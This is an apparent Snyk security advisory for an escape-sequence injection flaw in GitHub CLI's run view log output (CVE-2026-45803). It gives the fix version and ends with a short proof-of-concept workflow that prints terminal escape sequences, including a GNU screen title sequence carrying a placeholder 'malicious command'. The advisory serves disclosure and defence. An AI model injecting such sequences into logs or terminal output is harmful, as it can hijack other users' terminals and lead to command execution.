Improper Neutralization Affecting github.com/cli/cli/pkg/cmd/run/view package, versions >=1.6.0 <2.92.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMCLICLIPKGCMDRUNVIEW-16722745
- published17 May 2026
- disclosed15 May 2026
- creditUnknown
Introduced: 15 May 2026
CVE-2026-45803 Â (opens in a new tab)How to fix?
Upgrade github.com/cli/cli/pkg/cmd/run/view to version 2.92.0 or higher.
Overview
Affected versions of this package are vulnerable to Improper Neutralization of escape sequences in log output from commands run with the --log and --log-failed options. An attacker can inject malicious content in workflow logs, which are then rendered unsanitized in some terminal emulators, for other users. This exploit is triggered by the user interacting with the logs from the compromised Github Actions, and may facilitate command execution in some terminal environments.
PoC
name: Escape Sequence PoC
on:
workflow_dispatch:
jobs:
emit-escape-sequences:
runs-on: ubuntu-latest
steps:
- name: Emit terminal escape sequences
run: |
# OSC title set
printf 'ESCAPE_MARKER_START \033]0;HIJACKED_TITLE\007 ESCAPE_MARKER_END\n'
# CSI color
printf 'ESCAPE_MARKER_START \033[31mRED_TEXT\033[0m ESCAPE_MARKER_END\n'
# Screen title set (enables command execution in screen terminal)
printf 'ESCAPE_MARKER_START \033k;malicious command;\033\\ ESCAPE_MARKER_END\n'